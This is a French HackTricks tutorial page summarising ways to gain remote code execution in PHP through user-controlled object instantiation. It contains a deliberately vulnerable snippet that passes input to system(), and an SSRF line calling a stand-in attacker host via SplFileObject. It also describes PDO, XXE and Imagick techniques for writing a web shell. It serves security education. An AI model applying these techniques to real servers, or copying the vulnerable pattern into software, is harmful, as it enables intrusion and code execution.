PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks :

Ceci est essentiellement un résumé de https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/

Introduction

La création de nouveaux objets arbitraires, tels que new $_GET["a"]($_GET["a"]), peut conduire à une exécution de code à distance (RCE), comme détaillé dans un writeup. Ce document met en évidence diverses stratégies pour atteindre une RCE.

RCE via des classes personnalisées ou un chargement automatique

La syntaxe new $a($b) est utilisée pour instancier un objet où $a représente le nom de la classe et $b est le premier argument passé au constructeur. Ces variables peuvent provenir d'entrées utilisateur telles que GET/POST, où elles peuvent être des chaînes ou des tableaux, ou de JSON, où elles peuvent apparaître sous d'autres types.

Considérez l'extrait de code ci-dessous :

class App {
function __construct ($cmd) {
system($cmd);
}
}

class App2 {
function App2 ($cmd) {
system($cmd);
}
}

$a = $_GET['a'];
$b = $_GET['b'];

new $a($b);

Dans ce cas, en définissant $a sur App ou App2 et $b sur une commande système (par exemple, uname -a), cela entraîne l'exécution de cette commande.

Les fonctions d'autoload peuvent être exploitées si de telles classes ne sont pas directement accessibles. Ces fonctions chargent automatiquement les classes à partir de fichiers lorsque nécessaire et sont définies en utilisant spl_autoload_register ou __autoload:

spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});

function __autoload($class_name) {
include $class_name . '.php';
};

spl_autoload_register();

Le comportement du chargement automatique varie selon les versions de PHP, offrant différentes possibilités d'exécution de code à distance.

RCE via les classes intégrées

En l'absence de classes personnalisées ou d'autoloaders, les classes PHP intégrées peuvent suffire pour l'exécution de code à distance. Le nombre de ces classes varie entre 100 et 200, en fonction de la version de PHP et des extensions. Elles peuvent être répertoriées en utilisant get_declared_classes().

Les constructeurs d'intérêt peuvent être identifiés grâce à l'API de réflexion, comme le montre l'exemple suivant et le lien https://3v4l.org/2JEGF.

L'exécution de code à distance via des méthodes spécifiques inclut:

SSRF + Désérialisation Phar

La classe SplFileObject permet SSRF grâce à son constructeur, permettant des connexions à n'importe quelle URL:

new SplFileObject('http://attacker.com/');

SSRF peut conduire à des attaques de désérialisation dans les versions de PHP antérieures à 8.0 en utilisant le protocole Phar.

Exploitation des PDOs

Le constructeur de la classe PDO permet des connexions aux bases de données via des chaînes DSN, permettant potentiellement la création de fichiers ou d'autres interactions:

new PDO("sqlite:/tmp/test.txt")

SoapClient/SimpleXMLElement XXE

Les versions de PHP jusqu'à 5.3.22 et 5.4.12 étaient vulnérables aux attaques XXE à travers les constructeurs SoapClient et SimpleXMLElement, en fonction de la version de libxml2.

RCE via l'extension Imagick

Dans l'analyse des dépendances d'un projet, il a été découvert que Imagick pouvait être utilisé pour l'exécution de commandes en instanciant de nouveaux objets. Cela offre une opportunité d'exploiter des vulnérabilités.

Analyseur VID

La capacité de l'analyseur VID à écrire du contenu dans n'importe quel chemin spécifié dans le système de fichiers a été identifiée. Cela pourrait permettre de placer un shell PHP dans un répertoire accessible via le web, permettant ainsi l'exécution de code à distance (RCE).

Analyseur VID + Téléchargement de fichiers

Il est noté que PHP stocke temporairement les fichiers téléchargés dans /tmp/phpXXXXXX. L'analyseur VID dans Imagick, en utilisant le protocole msl, peut gérer des jokers dans les chemins de fichiers, facilitant le transfert du fichier temporaire vers un emplacement choisi. Cette méthode offre une approche supplémentaire pour réaliser l'écriture de fichiers arbitraires dans le système de fichiers.

Plantage PHP + Force brute

Une méthode décrite dans le rapport original implique le téléchargement de fichiers qui provoquent un plantage du serveur avant leur suppression. En effectuant une attaque par force brute sur le nom du fichier temporaire, il devient possible pour Imagick d'exécuter du code PHP arbitraire. Cependant, cette technique s'est avérée efficace uniquement dans une version obsolète d'ImageMagick.

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks:

Dernière mise à jour